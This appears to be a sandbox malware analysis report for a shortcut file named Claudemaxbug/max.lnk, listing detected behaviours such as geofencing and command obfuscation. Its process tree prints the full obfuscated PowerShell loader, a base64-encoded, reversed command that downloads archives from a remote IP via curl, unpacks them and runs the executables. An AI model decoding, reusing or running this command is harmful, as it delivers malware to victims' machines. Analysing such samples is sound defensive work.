Analysis
- max time kernel
298s - max time network
285s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
01/08/2026, 16:28
General
- Target Claudemaxbug/max.lnk
- Size 6KB
- Sample260801-ty25rade75
- SHA256 101ca72ea83c5a7137c3b2c7dabad0d1bc5760710926844b6f52749f4b191eb3
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Claudemaxbug\max.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JAByAGUAdgAgAD0AIAAnADsAIgBlAHgAZQAuAGQAcwBsAG8AbwB0AG0AdgBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7ACIAZQB4AGUALgB0AHIAbwBwAGcAaABjAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIAAmADsAZQBjAHIAbwBGAC0AIAAiAHAAaQB6AC4AMwAzADMAdQBoAG4AbwBZAFwAXABDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABtAGUAdABJAC0AZQB2AG8AbQBlAFIAIAA7AGUAYwByAG8ARgAtACAAIgBDAE0ATQBcAFwAdABmAG8AcwBvAHIAYwBpAE0AXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABoAHQAYQBQAG4AbwBpAHQAYQBuAGkAdABzAGUARAAtACAAIgBwAGkAegAuADMAMwAzAHUAaABuAG8AWQBcAFwAQwBNAE0AXABcAHQAZgBvAHMAbwByAGMAaQBNAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtACAAZQB2AGkAaABjAHIAQQAtAGQAbgBhAHAAeABFADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkAXABcAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAG8ALQAgACIAcABpAHoALgAzADMAMwB1AGgAbgBvAFkALwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7AH0AbABsAHUATgAtAHQAdQBPAHwAZQBjAHIAbwBGAC0AIAAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAHkAcgBvAHQAYwBlAHIAaQBEACAAZQBwAHkAVAAtACAAbQBlAHQASQAtAHcAZQBOACAAIAB7ACkAKQAiAEMATQBNAFwAXAB0AGYAbwBzAG8AcgBjAGkATQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQB0AHMAZQBUACgAIAB0AG8AbgAtACgAIABmAGkAIAA7ACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAGgAdABhAFAAZQBsAGkARgAtACAAcwBwAGEAcwAgADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAG8ALQAgACIAdAB4AHQALgAOZvSLLwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEIAUwB7ACQAfQB2AHYAewAkAH0AYwBhAHsAJAAiACAAbAByAHUAYwA7ACIANAAzADEALwAvADoAIgA9AEIAUwAkADsAIgBnAG4AaQBzAHIAYQAiAD0AbABsACQAOwAiAFAAYwBpACIAPQBrAGsAJAA7ACIAcwBhAEIAIgA9AGoAagAkADsAIgBlAHMAVQAtACIAPQBoAGgAJAA7ACIAcAAiAD0AdgB2ACQAOwAiAHQAdABoACIAPQBjAGEAJAA7ACIAagB1AGgAIgA9AGoAdQBoACQAOwAiAGoARABTAGgAIgA9AEUAUgBoACQAOwAiAGQAeQB1AGkAaQAiAD0AcwBGAEUAZgAkADsAIgBlAGUAZQB3AHMAcwB5ACIAPQBzAHMAZQBmACQAOwAiAGUAZQBlAHgAYwB2AGcAZgBzAHkAIgA9AHMAZABkAGUAZgAkADsAIgBlAEcAZAByAHMAdABnACIAPQBBAHQAZABnAGcAZABzAHoAbQBaACQAOwAiAGUAZgBkAGUAcwByAGUAIgA9AHMAdABlAGEAcwBiACQAOwAiAGQAdAB5AGgAZwAiAD0ARQBkAFMAVgBHACQAOwAiAGQAdQBmAGkAagBsAGcAIgA9AGYAZABkAGUAcQB0AGcAaABqACQAOwAiAGIAcgBlAHMAYQBkAGQAIgA9AGYAZABkAGQAZABkAHAAbwBrAGgAagAkADsAIgBiAHIAZQBzAGEARgBHAEkATQAiAD0AZgBkAGQAZABkAEcARwBGAEQAJAA7ACIAYgByAGUAcwBNACIAPQBmAGQAZAAkADsAIgBiAHIAZQBzAEQARABNACIAPQBmAGQAUwBkAEEAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAFMAZABCAEsAJAA7ACIAYgByAGUAcwBEAEQATQAiAD0AZgBkAGQAQgBMACQAOwBlAGMAcgBvAEYALQAgACIAawBuAGwALgB0AHgAdAAuAA5m9ItcAFwAaAB0AGEAUABsAGEAYwBvAGwAJAAiACAAaAB0AGEAUAAtACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBoAHQAYQBQAC4AKQBuAG8AaQB0AGEAYwBvAEwALQB0AGUARwAoACAAPQAgAGgAdABhAFAAbABhAGMAbwBsACQAJwAKACQAYwBtAGYAIAA9ACAALQBqAG8AaQBuACAAJAByAGUAdgBbAC0AMQAuAC4ALQAkAHIAZQB2AC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGYA2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3jsbprqc.4kl.ps1
memory/3112-2-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-3-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-4-0x000001D740350000-0x000001D740372000-memory.dmp
memory/3112-12-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-14-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-13-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-15-0x000001D727760000-0x000001D727770000-memory.dmp
memory/3112-17-0x000001D727760000-0x000001D727770000-memory.dmp